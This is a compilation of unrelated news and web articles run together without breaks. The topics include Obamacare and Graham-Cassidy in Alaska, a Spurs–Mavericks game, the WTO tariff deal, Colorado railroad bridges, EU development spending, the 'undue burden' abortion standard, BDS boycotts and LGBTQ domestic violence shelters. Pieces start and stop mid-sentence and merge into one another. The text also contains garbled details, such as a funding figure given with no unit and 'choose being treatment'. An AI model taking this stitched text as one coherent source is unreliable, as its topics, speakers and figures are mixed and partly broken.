In Alaska, 93 percent of marketplace enrollees receive tax credits, according to the Alaska Division of Insurance. So even though the average premium cost increased 203 percent from 2013 to 2017, most people on the exchanges are paying far less than they did in 2013 — that is, if they were able to buy insurance in 2013. (They might not have been able to obtain or afford health insurance because of a preexisting condition, but the ACA eliminated that restriction.) In 2017, the 86 percent of people in the exchanges in Alaska who receive tax credits pay $93 per month, according to Kaiser Family Foundation. That’s far less than the $344 they were paying in 2013.
Kennedy’s suggestion that Graham-Cassidy is a better alternative than Obamacare is also misguided — not only with regard to the blue states that would have to cope with a drastic reduction in federal funding, but also with respect to red ones, the purported beneficiaries of the bill.
In fact, Graham-Cassidy would hurt Alaska. The Center on Budget and Policy Priorities (CBPP) estimated that if Graham-Cassidy becomes law, the state would lose out on $255 in health care funding in 2026 alone.
As a result, Sen. Lisa Murkowski’s (R-AK) support for the bill remains in question. (Murkowski voted against the version of Trumpcare that was defeated by a single vote in late July). But instead of trying to win her vote on the merits of the bill, Republican senators are essentially trying to bribe her. On Thursday, the Independent Journal Review reported that “Sens. Lindsey Graham (R-SC) and Bill Cassidy (R-La.) are attempting to buy Sen. Lisa Murkowski’s support through new changes to their controversial Obamacare repeal proposal before an expected vote next week” by including a provision that would allow Alaska to receive Obamacare’s premium tax credits even after they’re repealed for other states, among other goodies.
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Carve-outs of that sort might mollify the negative impact of Graham-Cassidy in Alaska, but other states with senators whose votes aren’t key won’t be as fortunate. The CBPP found that Graham-Cassidy’s $239 billion cut in federal health care funding would result in 32 million people losing coverage. Another analysis found that cancer patients could expect to pay a $140,510 surcharge on their annual premiums, forcing families to choose being treatment or bankruptcy.
Then again, as Kennedy reminded us months ago, we’re all gonna die anyway.By Jeff Caplan, NBA.com
DALLAS — Gregg Popovich said it all happened so fast he didn’t have time to fear the worst. Manu Ginobili said the players looked at each other, gritted their teeth, and got a little worried. Patty Mills, the Spurs’ hero Thursday night, flat-out called seeing Tim Duncan on the floor clutching his right knee, a full-on panic.
“I panicked. I felt like my heart skipped a beat,” said Mills, who poured in a game-high 26 points that included six 3-pointers as injured starter Tony Parker‘s body double in the San Antonio Spurs’ 109-100 victory over the Dallas Mavericks. “I wanted to run back and see if he was all right, but then I was trying to foul someone so play could stop.”
The silence that surely enveloped the entire city of San Antonio could be sensed 270 miles to the north in Dallas. And why not? Even Duncan, who hyperextended the knee only to be just fine moments later after a brief stop to the training room, deemed it “very, very scary.”
“I was trying to get my bearings after it happened,” Duncan said. “The pain wasn’t that bad, but I knew it felt kind of weird; it went at kind of a weird angle. I just wanted to make sure everything was fine.”
Was it ever. The ageless Duncan, two weeks removed from his 38th birthday, quickly returned and bludgeoned Dallas for 20 points and 15 rebounds in 39 minutes, 17 seconds — 51 seconds shy of his season high. Kawhi Leonard was brilliant with 16 points, 16 rebounds and five assists, and Mills and Danny Green combined for 11 of the Spurs’ 16 3-pointers as San Antonio kicked its one-time rival, and potential first-round playoff opponent, for a ninth consecutive time.
San Antonio (61-18) now virtually has the No. 1 seed locked up. One more win in the Spurs’ final three games or an Oklahoma City loss will do it.
“We want to end it as healthy as possible and we want to lock it up,” said Duncan, who described the regular season as dragging following last season’s heartbreak in the Finals. “We’ve come this far and we’ve worked this hard, we want to get it locked up, so another great step.”
Meanwhile for the Mavs (48-32), Thursday night continued a string of frustrating home losses. They went 4-4 on their recent franchise-long homestand, then followed it up with four straight road wins to seize the driver’s seat in the fight for the final two spots in the Western Conference with Phoenix and Memphis.
Now they’ve slipped back into eighth, behind Phoenix (47-31), while No. 9 Memphis stayed alive with Wednesday’s rousing home win over the Heat. The Mavs, Suns and Grizzlies all play each other starting Saturday night.
Thursday’s combo of the Mavs’ loss and Duncan’s massive minutes only increases the intrigue for Friday night when the rested Suns play at San Antonio before coming to Dallas for a Saturday night showdown.
Asked about playing against the Suns, Duncan said he’d go 45 minutes.
“At least 45,” he added, tongue firmly planted in cheek.
Popovich said he planned to enjoy the victory for a half-hour before delving into lineup possibilities against the Suns.
It would be highly surprising if Duncan suits up. Parker is also not expected to be back. Ginobili, who played Thursday despite a sore left calf, said he felt fine after the game and would wait to see what Popovich decides for Friday night. Whoever’s in or out shouldn’t enter the Suns’ minds. This is the Spurs. This is what they do.
Meanwhile, Memphis figures to stay in the hunt Friday with a home date against Philadelphia. The Grizzlies have won 12 in a row at the Grindhouse.
Dirk Nowitzki, who two nights ago celebrated moving into 10th place on the NBA’s all-time scoring list, lamented another lost opportunity at home. He finished 8-for-14 from the floor for 19 points, but managed just two points on two shot attempts in the fourth quarter when Monta Ellis finally heated up after a ragged 5-for-16 shooting start through the first three quarters.
Nowitzki, a season-long League Pass subscriber, said he’ll be tuning in for Suns-Spurs.
“I’ll probably come back tomorrow night [to the arena] a little bit and shoot, get a little rhythm, but I’m definitely going to catch the second half,” Nowitzki said. “I’ll tune in, we’ll see what happens. San Antonio’s got No. 1 locked up as far as I know, so who knows what they’re going to do.”
Category: HT News / Tags:, Dallas Mavericks, Gregg Popovich, Jeff Caplan, Patty Mills, san antonio spurs, Tim Duncan, Tony Duncan / 5 Comments on Spurs get a scare; 3-team race tightens /DISCLAIMER: Although we sometimes compare certain symptoms in zombies to real neurological patient populations, we are in no way implying that patients with these other disorders are in some way “part zombie”. Neurological disorders have provided critical insights into how the brain gives rise to behavior and we bring them up for the sake of illustration only. Their reference in this context is in no way meant to diminish the devastating impact that neurological diseases can have on patients and their caregivers.In order to understand how studies on patients, brain regions, and behavior all link together, check out BrainScanr ( http://www.brainscanr.com/ ), a meta-analytic program designed to show relationships between brain systems and behavior.For more information on the syndromes described in the video, including how to help, please check out the following support societies:Parkinson’s Disease Foundation: http://www.pdf.org/ The National Ataxia Foundation: http://ataxia.org/ The National Aphasia Foundation: http://www.aphasia.org/ To learn more about the basal ganglia, cerebellum, and language networks, please check out the following open-access reviews:Schwartz MF, Dell GS. Case series investigations in cognitive neuropsychology. Cogn Neuropsychol. 2010 Sep;27(6):477-94. http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3162112/ Seger CA, Spiering BJ. A critical review of habit learning and the Basal Ganglia. Front Syst Neurosci. 2011;5:66. http://www.frontiersin.org/Systems_Neuroscience/10.3389/fnsys.2011.00066/abstract Peelle JE, Davis MH. Neural Oscillations Carry Speech Rhythm through to Comprehension. Front Psychol. 2012;3:320. http://www.frontiersin.org/Language_Sciences/10.3389/fpsyg.2012.00320/abstract Klockgether T, Paulson H. Milestones in ataxia. Mov Disord. 2011 May;26(6):1134-41. http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3105349/ Tim Verstynen on Twitter: @tdverstynenBradley Voytek on Twitter: @bradleyvoytekWASHINGTON, July 24 (Reuters) - World Trade Organization (WTO) members finalized a deal on Friday to cut tariffs on $1 trillion worth of information technology products in a boost for producers of goods ranging from video games to medical equipment.
The agreement to update the WTO’s 18-year-old Information Technology Agreement (ITA) adds more than 200 products to the list of goods covered by zero-tariff and duty-free trade.
The U.S. Trade Representative said more than $100 billion of U.S. exports alone would be covered by the updated agreement and industry estimates showed the removal of tariffs could support up to 60,000 additional jobs.
“ITA’s expansion is great news for the American workers and businesses that design, manufacture, and export state-of-the-art technology and information products, ranging from MRI machines to semiconductors to video game consoles,” U.S. Trade Representative Michael Froman said.
Technology manufacturers like General Electric Co, Intel Corporation, Texas Instruments Inc, Microsoft Corp and Nintendo Co are among companies expected to benefit from the deal.
Additional duty-free products include computer software and software media, video game consoles, printer ink cartridges, GPS devices, medical devices such as MRI machines and next generation semiconductors, the Technology CEO Council said.
“That definitely impacts Intel and that’s important but also as important are the other technologies that it covers that were not even dreamt of when the original ITA was negotiated,” said Intel communications director Lisa Malloy.
“Things like... health devices and GPS (are) technologies that semiconductors and Intel hope to power in the years to come.” (Reporting by Krista Hughes, additional reporting by Supantha Mukherjee in Bangalore and Tom Miles in Geneva; Editing by Bernard Orr)Businesses and individuals can now make a direct impact on reducing carbon emissions from their communities through the new Fairtrade Climate Standard. The standard will allow producers to use innovative ways to improve their resilience to climate change and reduce their carbon footprint.
The Fairtrade Climate Standard indicates that the final step in the development of the Fairtrade Carbon Credits is set to launch at the United Nations Climate Change Conference (COP21) in Paris later in 2015. The standard is part of the Gold Standard certification of cutting carbon emissions and providing benefits from sustainable development.
Those eligible for the carbon credits include Fairtrade producers and vulnerable rural communities running projects focused on energy efficiency, renewable energy and forestry. The new standard was developed in a collaboration between Fairtrade Australia and New Zealand and the Gold Standard Foundation, an international organisation working on climate and development projects.
Fairtrade Australia and New Zealand said that the minimum price will “ensure the costs of running the carbon reduction project are covered.” A Fairtrade Premium, the money for projects to fight climate change in rural communities, will be given to producers for each credit they will sell.
The credits are available on the voluntary market by companies, organisations and individuals, who aim at compensating their carbon emissions. Farmers can invest the premium for projects to improve their resilience to the impacts of climate change, including planting climate-resilient crops, shade trees or investing into food security.
“Fairtrade Carbon Credits are an important innovation to help poor producers who suffer some of the worst impacts of climate change,” said Molly Harriss Olson, CEO of Fairtrade Australia and New Zealand. “Buying Fairtrade Carbon Credits means we can both reduce climate carbon while empowering producers in developing countries to take control of their futures and adapt and mitigate the climate change impacts they are already feeling.”
“Every Fairtrade Carbon Credit means one less tonne of carbon dioxide released into the atmosphere,” said Victor Biwot, operations manager at the Sireet Fairtrade tea cooperative in Kenya.
In Gimbi, Ethiopia, a Fairtrade project is working to be certified on the new standard by shifting to energy-efficient cookstoves used by women coffee growers. Fairtrade is currently on the process to select the first certified road-testing projects, and the first Carbon Credits are set to be available in early 2016.
Contact the writer at feedback@ibtimes.com.au or tell us what you think below"Intellectual Intolerance: What's Happened to America’s Colleges?"
Intellectual Takeout hosted Charles Murray to discuss the intellectual intolerance permeating higher education, as well as what to do about it. Dr. Murray analyzed the culture of suppression of academic freedom throughout American academia, laying significant blame at the feet of many professors who are, rather forcibly, initiating students into a postmodern, nihilist mindset. Murray's solutions were not quick fixes, but require thoughtful engagement with the greater culture of American society, by initiating them into "a sense of the majesty of Western Civilization" and "the profound usefulness of great thoughts".
Dr. Charles Murray first came to national attention in 1984 with the publication of Losing Ground, which has been credited as the intellectual foundation for the Welfare Reform Act of 1996. His 1994 New York Times bestseller, The Bell Curve, co-authored with the late Richard J. Herrnstein, sparked heated controversy for its analysis of the role of IQ in shaping America's class structure. His book, Coming Apart, describes an unprecedented divergence in American classes over the last half century. Murray helped put the issue of academic freedom on the map when he was attacked by a group of social justice at Middlebury College.Please enable Javascript to watch this video
DENVER -- Carla Hampshire's desk sits about 20 yards from a busy railroad track in north Denver. Close enough to see the trucks slam into the railroad bridge that runs over head.
“It rattles my windows if they hit it hard enough,” she said.
Hampshire works at M&O Propane at the corner of York Street and E. Brighton Boulevard.
She hears hundreds of cargo tankers full of diesel fuel, crude oil and liquefied gases rattle by every day. It's the sound of the tops of trucks slamming against the bottom of the concrete bridge bridge that is the most rattling.
MAP: See the worst 25 railroad bridges in Colorado
The collisions on the bridge, which is 11-feet-5 inches tall, are so frequent the underside is scarred. Chunks of concrete are missing and rebar is exposed.
“I'm afraid with trains going by that one of these days that whole bridge is just going to go. I hope I'm not here when it happens," Hampshire said.
Since 2009, police records show the York Street railroad bridge has been stuck by trucks at least 38 times.
Sinclair gas station ower Wael Abdelsalm works just a few feet from the bridge. He said the number is 20 times that because if the truck driver doesn’t actually get stuck, they drive away before police can arrive to ticket them.
“I’ve seen it three times in one day. The same day," Abdelsalm said. "This bridge has been hit so many times man. You wouldn’t believe it.”
We watched and videotaped as a truck driver named Victor smashed into the top of the low-clearance underpass.
After surveying his crumbled box-trailer, he complained to our cameras that there was no warning or sign that allowed him to spot the trouble before he hit the bridge.
This beat-up highway underpass is one of the oldest standing railroad bridges in Colorado (1912) and it's in terrible shape.
State engineers first labeled the crumbling concrete bridge “structurally deficient” a decade ago and its condition is no different today.
Inspector observations in 2013 included: “Ends of slab have been hit numerous times - ripping out longitudinal rebars'”and “concrete piles are heavily deteriorated and one is missing.”
Detailed bi-annual safety reports show the railroad bridge deck and superstructure scored a 4 out of a possible 10. That's the state's magic number where they start getting concerned for public safety.
Their concerns are more for drivers and residents around deteriorating railroad bridges. They don’t normally analyze, nor have the authority to, inspect the actual tracks, rails, or upper level of the bridge where locomotives pass.
Colorado Department of Transportation Bridge Engineer, Josh Laipply, says when an inspector gives a railroad bridge’s deck, superstructure or substructure a rating of “4”, they consider it “structurally deficient.”
The inspection department hesitates to call it a failing grade, but agrees such a rating means the bridge “is in some state of deterioration that we want to keep an eye on it.”
'Structurally deficient' bridges common across Colorado
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This bridge is one of many that have serious structural damage. We reviewed safety inspections for more than 150 railroad bridges and then visited dozens of the most damaged ones.
About one-quarter of those which crossed a city or county road either flunked their latest safety inspection or were deteriorating toward a state inspectors call “structurally deficient.”
We created a list of the 25 worst railroad bridges in Colorado based on poor structural scores, number of years inspectors have labeled the bridge deficient, lack of repairs and additional inspection notes such as the words “fracture critical.”
Engineers tell us fracture critical means if one component would fail, then the whole bridge could come down.
"So when we have fracture critical bridges, we take a harder look at those and we do them on a higher frequency more often," Laipply said.
One of the railroad bridges that has been repeatedly labeled critical is in Larkspur.
Eileen Pinkowski has long complained about the integrity of the bridge over Fox Road. The 1967 rebuilt bridge snakes past her home.
She has kept some of footage from her exterior surveillance cameras to document her greatest worry -- that someday a train carrying dozens of crude-oil-filled rail cars will fly off the curve near this bridge.
She said she has seen as many as 60 hazardous materials canisters, together one after another, race by her property both day and night.
“You’ll hear the squealing of the wheels against the rail," Pinkowski said.
"They have trouble with the bridge. They have trouble with these tracks,” Pinkowski said.
Pinkowski denies her concerns are a political statement against oil. She understands rail is the least expensive way to transport the material.
"Colorado, I have grown to love. It deserves to be pure the way it is and not be ruined by something catastrophic that would set these entire woods on fire. And all the people down below in Larkspur -- I don’t know what would happen to them,” Pinkowski said.
Both Pinkowski and Hampshire told us they were well aware of the real disasters that have recently occurred in connection to derailments of hazardous materials.
Forty-seven people died when train cars full of crude oil exploded in a Lac Megantic, Quebec, Canada derailment last summer.
In 2009, flames erupted at a Tiskilwa, Ill. rail yard after an ethanol-carrying train derailed.
The neighborhood evacuations scared both the communities and political leaders alike.
Pinkowski said all she wants is for the Larkspur bridge to get its needed repairs, so she can stop worrying.
"I want change. I want fairness. I want my town to be safe," she said.
'Deficient' bridges are scattered across the state
While reviewing hundreds of safety reports, it was easy to see some common themes.
Older bridges have more problems and there are a surprising number of them.
For example, a trio of bridges along 60th Street in Commerce City is about 70 years old.
The tracks carry soda-can-shaped loads of petroleum products past the Suncor heavy oil refinery. Rust, exposed rebar and crumbled concrete are evident.
Inspectors call its substructure "deficient."
For years, a railroad overpass on 38th street between Blake and Wazee has needed major repairs to its deteriorating deck. It was built in 1925.
We found similar critical safety issues under bridges in Colorado Springs, Jefferson County and hidden beneath Interstate 70 in the heart of Denver.
Why not fix them?
In 2009, the Colorado legislature started adding fees to vehicle registration. Half of the money was dedicated for bridge repair and replacement.
The Bridge Enterprise now collects in the neighborhood of $100 million a year. However, it’s not specifically dedicated to railroad bridges.
Laipply said the state is responsible for nearly 3,500 bridges, which mainly carry vehicle traffic.
“We have to take a triage approach, so we take the bridges that are in the worst shape and we feel have the most benefit to the public and sometimes a bridge looks bad, but isn't necessarily lowest on the list. But we’re certainly looking out for safety first – that’s our approach," Laipply said.
What he's really saying is: there isn't enough tax money to do it all.
That's not the only major hindrance. Private railroads have a powerful voice and a legal right to prevent repairs that might stop the flow of their goods.
“CDOT doesn’t own trains,” said Laipply. “So we’ve got to coordinate. If we’re going to do anything to interrupt their service, we have to coordinate with them to make sure we’re not impeding their operations. But at the same time we’re always looking out for the traveling public’s safety.”
Eileen Pinkowski thinks it's disgusting that railroad companies can manipulate public safety projects just so their cargo can keep moving.
“They just keep putting shims of wood to hold it up and its just balancing precariously," she said about the Larkspur bridge. "It’s unsafe and I don’t understand why they won’t fix that bridge after all the other bridges have been fixed.”
CDOT only inspects railroad bridges if they carry traffic over or under the rails.
We spoke to the Federal Railroad Administration in Washington D.C. and that agency confirmed that federal law allows the railroad companies to self-monitor the safety bridges which cross non-auto traffic effected rivers, creeks and culverts.WHAT links yak herders in Tibet, Chinese smokers and a green energy scheme in a town called The Bottom?
All have benefited from a bizarre EU fund partly financed by British taxpayers thousands of miles away.
Alamy 5 The EU sent £100,000 from the European Development fund to yak herders in Tibet in a bid to'strengthen civil society'
And The Sun on Sunday can reveal that EU bosses are demanding Britain continues to pay for a raft of weird schemes in far-flung spots — NONE of them in Europe.
The European Development Fund was formed in 1959 to promote economic growth and social cohesion.
Between 2014 and 2020, it is due to cost around £26billion — with Britain forking out almost £4billion.
Getty Images 5 A further £6million of British taxpayers' cash has gone on a scheme in Aruba, 4,590 miles from the UK
Our contribution forms part of the £50billion “Brexit bill” being demanded by EU chiefs.
A £100,000 payout to the yak herders was meant to “strengthen civil society by improving dialogue and sustainable development”, according to fund documents.
British taxpayers are also paying towards a scheme to curb smoking among women and children in the remote Chinese province of Yunnan, 5,400 miles from the UK.
The three-year initiative lasts until December this year.
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Fund documents also reveal that until last month we helped pay for a three-year scheme in China “to raise public awareness, understanding and involvement regarding issues of gender, sexuality and sexual health through webcast, media capacity trainings and advocacy events”.
We also paid for a project to combat poverty in rural Iran, almost 3,000 miles away.
That scheme runs until the end of this year.
Other projects we helped fund include £275,000 for renewable energy on the tiny Caribbean island of Saba, which has a population of less than 2,000.
5 British taxpayer cash has also been sent to Yunnan, China, to help curb smoking among women and children
The capital of the former Dutch colony is called The Bottom.
And £6million of UK taxpayers’ money has gone on a similar scheme on the sunshine island of Aruba, off the coast of Venezuela and 4,590 miles from the UK.
The tax haven of Panama has also benefited from EDF cash, while St Lucia, a popular tourist destination in the Caribbean, won funds to boost employment on the island.
A further £400,000 of British cash has been lavished on an energy scheme on the Pacific island of Palau.
The only thing the EU does well is waste money. This is a classic case of it Peter Bone
Conservative MP Peter Bone said: “We don’t have any say or control over how our money is being spent. Often it is just being wasted.
"There are many reasons for coming out of the EU and that is clearly one of them.
“This organisation just fritters away money.
"The only thing the EU does well is waste money. This is a classic case of it.
“We don’t want to give it to Europe to spend on projects in China and others thousands of miles away.
"That is not where people in my constituency want their money spent.”
Getty Images 5 Until last month Britain helped pay for a three-year sexual health training scheme in China
The EU’s chief Brexit negotiator Michel Barnier this week said Britain would have to pay for liabilities arising from various development schemes we had previously agreed to finance.
A report last month by the European Centre For Reform said British taxpayers will pay around £1billion towards the development fund despite voting to leave the EU.
Between 2008 and 2013 the fund spent around £17billion.
The think tank said: “Britain made legally binding commitments to the European Development Fund.
Member states are expected to contribute approximately nine billion euros (£7.8billion) in 2019 and 2020.
Getty Images 5 More funds were sent to boost employment on the island of St Lucia in the Caribbean
The UK contributes around 15 per cent of the fund, which amounts to 1.4billion euros (£1.21billion) of unpaid commitments post 2019.”
European Commission president Jean-Claude Juncker warned this week institutions on the Continent were not “naive” about Britain leaving the EU — and confirmed a divorce bill of around £50billion will be presented early in the negotiation process.
He said: “It is around that (amount).
"We have to calculate scientifically what the British commitments were and then the bill has to be paid.”
He said nothing about yak herders in Tibet.David Robertson #30 of the Chicago White Sox poses for a portrait during Photo Day on February 28, 2015 at Camelback Ranch-Glendale in Glendale, Arizona. (Photo by Rich Pilling/Getty Images) David Robertson #30 of the Chicago White Sox poses for a portrait during Photo Day on February 28, 2015 at Camelback Ranch-Glendale in Glendale, Arizona. (Photo by Rich Pilling/Getty Images)
David Robertson is a happy man these days.
And why shouldn’t he be in good spirits?
The former Yankee signed a four-year, $46 million deal in the offseason, he’s on an improved White Sox team and now he gets to grow some facial hair.
The 29-year-old closer, who pitched in the Bronx from 2008-14, was prohibited from growing a beard under Yankees rules.
WEB EXTRA: Top 10 Mustaches In Baseball History
Now with Chicago, the right-hander is putting the razor away.
“This is nice, not to have to shave every three days,” Robertson recently said from spring training in Arizona, according to ESPN.com. “I think it’s kind of ridiculous, but that was the Yankees’ rule. They wanted to have you clean-shaven. Here you can just let it grow. Obviously, they don’t want me to get it to that point. But I won’t let it get out of control.”
Robertson, who was an All-Star in 2011, was rock solid for the Yankees during his tenure in New York. He went from being a seventh- and eighth-inning pitcher to a closer last season following the retirement of all-time saves leader Mariano Rivera.
Robertson converted 39 of 44 save attempts for the Bombers last season. He pitched to a 3.08 ERA and recorded 96 strikeouts to 23 walks.
With Robertson no longer in the fold, 26-year-old Dellin Betances and hard-throwing lefty Andrew Miller are competing to replace him.For a few brief seconds on Friday night, Bill Maher made sense. Maher, who could be described as a “useless Obama hack” – after all, he’s a big donor to Obama and a constant defender of him who chalks up any and all criticism of Obama to racism – condemned liberals, on one subject at least, as “useless Obama hacks without a shred of intellectual honesty.”
What prompted this brief trip into reality? A report on how the NSA intercepted and stored “useless” online conversations that were “intimate” and “voyeuristic.” Maher asserted: “I just want to say, if this was happening under Bush, liberals would be apoplectic.”
Audio: MP3 clip
He continued: “I’m sorry, but liberals are just sometimes useless Obama hacks without a shred of intellectual honesty.”
Just sometimes?
Maher made his point to panelists U.S. Rep. Donna F. Edwards (D-Md.); conservative columnist Reihan Salam and liberal author/journalist Ron Suskind.
From the Friday, July 11 Real Time with Bill Maher on HBO produced once a week from the CBS studios in Los Angeles:
There was a study done this week, found out that online conversations that were intercepted and stored by the NSA, nine out of ten were not from foreigners – they’re from ordinary citizens. And I want to read this: “Many files,” it says, “described as useless by the analysts, but had a startingly intimate even voyeuristic quality. Stories of love and heartbreak, illicit sexual liaisons, mental health crises and disappointed hopes.” Move over Taxicab Confessions, we have a new -- this is exactly what they said they weren’t going to do. Just be nosey and look into the lives of private people for their own shits and giggles.
And I just want to say, if this was happening under Bush, liberals would be apoplectic. I’m sorry, but liberals are just sometimes useless Obama hacks without a shred of intellectual honesty.
Edwards then insisted she is apoplectic and the conversation never returned to Maher’s point about liberals.UPDATE (June 27, 11 a.m.): Monday morning the Supreme Court struck down Texas’s stringent abortion regulations in a 5-3 decision. The court found that requiring doctors who perform abortions to have admitting privileges at a nearby hospital and requiring abortion facilities to meet the standards of surgical centers constituted an undue burden. Earlier this year, when the case was debated in oral argument, I looked at what qualified as “undue burden,” a hazy term that dated to a 1992 Supreme Court decision in Planned Parenthood v. Casey. At its core, the “undue burden” definition was a math problem — one that was poorly defined.
But Monday, in the majority decision in Whole Woman’s Health v. Hellerstedt, Justice Stephen Breyer articulated how it should be calculated: “Here, as in Casey, the relevant denominator is ‘those [women] for whom [the provision] is an actual rather than an irrelevant restriction.'” In other words, whether the burden of the law is “undue” should be judged by the effect it has on women in Texas seeking abortions who would be deterred by the law, not all women in Texas or even all women seeking abortions in Texas. That’s a definition that makes it easier to overturn any future restrictions on abortion access.
You can read the original article, from March, about what defines an undue burden below.
The Supreme Court heard arguments Wednesday in Whole Woman’s Health v. Hellerstedt, a case on Texas’s abortion restrictions that might result in a deadlock in the absence of Justice Antonin Scalia, who died Feb. 13. Because of court rules, a tie decision wouldn’t become precedent, which would mute its significance nationally. But even a 4-4 ruling could resonate for years: It could give all courts a clearer sense of how to apply something called the “undue burden” standard that’s at the heart of the case.
In 1992, the Supreme Court decided Planned Parenthood v. Casey and changed the way that the legality of abortion restrictions is judged. According to that decision, which upheld Pennsylvania’s parental notification laws for minors but struck down spousal notification requirements, laws cannot place an “undue burden” on women seeking an abortion. What’s an undue burden? It’s something that prevents a “large fraction” of women from having an abortion. And what’s a “large fraction”? Well, there’s the problem.
I reached out to advocates on each side of the abortion debate and went through cases to try to find out how many people a law had to affect before its impact qualified as an “undue burden.” I found that not only are there very few cases that cite specific numbers, but even a circuit court that had unusually good data to work with got snarled when it tried to do the math.
In 2006, the 6th U.S. Circuit Court of Appeals tried to figure out how much of a problem it was for women in Ohio to have to meet with a doctor at least 24 hours before having an abortion. Some clinics had already adopted that rule voluntarily, so the court had real data about how many women it had deterred.
For every 1,000 women who sought an abortion at one of those clinics, 50 to 100 received an exemption from the meeting because coming in twice would be a hardship. About a quarter of these exemptions went to women in abusive situations. Half of the women experiencing abuse said that if they hadn’t gotten an exemption, they couldn’t have had the abortion (six to 13 women out of 1,000).
So, is that enough women to count as a “large fraction”? It depends on the universe of women you look at.
In Casey, the Supreme Court said what it thinks the denominator should be. The majority opinion, written by Justices David Souter, Sandra Day O’Connor and Anthony Kennedy, said that burden should be measured for women “for whom the law is a restriction, not the group for whom the law is irrelevant.” When the Supreme Court set this standard in Casey, it said the right way to judge the law’s spousal notice requirement was to consider how it affected women who didn’t want to |
to the Israeli military.
Stolen Beauty
“Stolen Beauty” is a boycott campaign initiated by Code Pink in 2009 that targets stores that sell products produced by AHAVA Dead Sea Laboratories. AHAVA produces a popular line of beauty and skin care products in an illegal Israeli settlement located in the West Bank using natural resources stolen from West Bank portions of the Dead Sea in violation of international law. Campaign actions have targeted retailers selling and celebrities endorsing AHAVA products. As a result of the campaign a number of stores and celebrity endorsers have ended their associations with AHAVA.
Dump Veolia
Veolia profits by operating segregated bus lines connecting settlements to Israel, operating a landfill built on confiscated Palestinian land in the West Bank for the benefit of settlements, and constructing and operating a light rail system built in occupied East Jerusalem and servicing Israeli settlements. Since 2005 groups in Europe and the U.S. have organized a variety of highly successful boycott campaigns targeting Veolia. As a result the company has lost over $13 billion in contracts and many investors, with several communities worldwide declaring themselves "Veolia Free."
For more information:
Global Exchange: Economic Activism for Palestine Project: http://www.globalexchange.org/programs/economicactivism
Quakers with a Concern for Palestine-Israel: http://www.quakerpi.org/default.shtml
The U.S. Campaign to End the Israeli Occupation: http://www.endtheoccupation.org/
The Boycott National Committee: http://www.endtheoccupation.org/Supporters wave rainbow flags while marching during a LGBT Pride parade in metro Manila Thomson Reuters
When Jacob (a pseudonym) finally found a shelter that would take him in, he had already called dozens of others across the United States. All gave the same answer: no men.
Jacob's husband had put him in the hospital 12 times over the course of six months.
At the hospital, no one bothered to assess Jacob for domestic abuse, much less try to connect him with LGBTQ-affirming services for either his abusive relationship or substance abuse problem.
Each time, he was discharged without question and sent home to his husband. Finally, he found a domestic violence shelter in Colorado that was able to offer him a ticket for the bus ride thousands of miles from his East Coast home.
A report released Tuesday by the National Coalition of Anti-Violence Programs (NCAVP) shows that Jacob, whose story is detailed in the report, was hardly alone in his struggle to find help. Surveying 1,976 instances of LGBTQ intimate partner abuse from 2015, NCAVP found that nearly half of survivors (44 percent) had been turned away from shelters.
Of those, 71 percent reported that they were denied services due to their gender identity, because women-only shelters would not accept gay men or trans women, for example. Transgender women had a particularly tough time finding services that wouldn't slam the door in their faces, but gay, bisexual, and transgender men also reported that domestic violence shelters for men rarely even exist.
LGBTQ and male survivors are relatively invisible when it comes to domestic violence services. For transgender women, some change is on the way, due to the Gender Identity Rule issued by the US Department of Housing and Urban Development (HUD) this September. It mandates that emergency shelters and other HUD-funded housing must be inclusive to people whose gender identity matches that of a single-sex facility.
But the HUD ruling, while an improvement, only goes so far. According to Emily Waters, senior manager of National Research and Policy at the New York City Anti-Violence Project, an assistance organization for LGBTQ victims of violence (and the head organization of the NCAVP), transgender women are still likely to be excluded from domestic violence shelters—but the HUD rules could at least improve access to homeless shelters, often the only option for trans survivors of intimate partner abuse.
"The Family Violence Prevention Services Act is the primary funding source for most domestic violence shelters," said Waters—not HUD. "HUD provides the resources for most homeless shelters, and a lot of those don't actually have programs and services in place for domestic violence survivors, or the ability to assess intimate partner violence, much less LGBTQ survivors."
LGBT rights activists hold a rainbow flag during a transgender pride parade, which was banned by the governorship, in central Istanbul Thomson Reuters
For male domestic violence victims of all backgrounds, services are still woefully sparse—one of the country's first shelters for male victims of domestic violence just opened this February in Arkansas. And for women in same-sex relationships, fleeing to the seeming safety of a domestic violence shelter presents a unique problem. As a survivor named Sylvia described in the NCAVP report, she was afraid to enter a shelter once learning there was no way to guarantee her abusive girlfriend would be barred from entering. For lesbian and bisexual women, the threat of an abuser following them into a shelter is a very real prospect.
Waters said NCAVP is trying to get the Family Violence Prevention Services Act's language adjusted to be more inclusive of LGBTQ survivors, so that domestic violence shelters and services will be more widely accessible. As it stands, the limited number of options leaves survivors highly vulnerable.
"It's much easier for an abusive partner to find someone if they know a local shelter is the only place that accepts men or LGBTQ people," Waters said. "And most homeless shelters don't have a process for screening those people out."
Statistics show that the LGBTQ community is impacted by intimate partner violence at rates higher than those of heterosexuals. According to the 2010 National Intimate Partner and Sexual Violence Survey published by the Centers for Disease Control, the most recent report available, bisexual women and men suffer from domestic violence more than any other group in terms of sexual orientation: 37.3 percent of bisexual men (compared to 29 percent of straight men) and 61.1 percent of bisexual women (at nearly double the 35 percent of straight women) reported physical violence, rape, or stalking at the hands of a partner. Lesbians were the second-highest group at 43.8 percent, and 26 percent of gay men reported domestic abuse as well.
But research data is notoriously flawed when it comes to tracking transgender people; not only did the CDC survey ignore the gender identity of respondents altogether, transgender women have historically been misclassified as "MSMs"—men who sleep with men—in studies tracking HIV rates in the LGBTQ community. One of the largest-ever studies on domestic violence, published by the Justice Department in 2000, also failed to account for non-binary gender identities among the 16,000 women and men who responded to the survey.
Other studies have pointed out the link between shelter exclusion and higher rates of HIV infection among transgender women; with no access to safe shelter, some trans women rely on survival sex work, or become homeless and engage with higher rates of drug use—increasing the risk of acquiring HIV.
DaveBleasdale/Flickr
"We must start drawing the connections between intimate partner violence and other forms of violence that LGBTQ people experience daily," Essex Lordes from Community United Against Violence in California said in a statement Tuesday. "Racial justice, housing justice, economic justice, immigration justice, and other equality movements are LGBTQ and intimate partner violence issues."
The inability to safely leave an abusive relationship can also have dire consequences. Tuesday's NCAVP report found that out of the 13 LGBTQ domestic violence murders the group was able to account for in 2015, six of the victims were transgender women and four were cisgender men. Some of the homicides, each described in detail in the report, occurred after the victims had left or tried to leave their abusive partners. In one case, a man kidnapped and murdered his ex-boyfriend's new partner—showing that the impact of domestic violence can affect more than just two people.
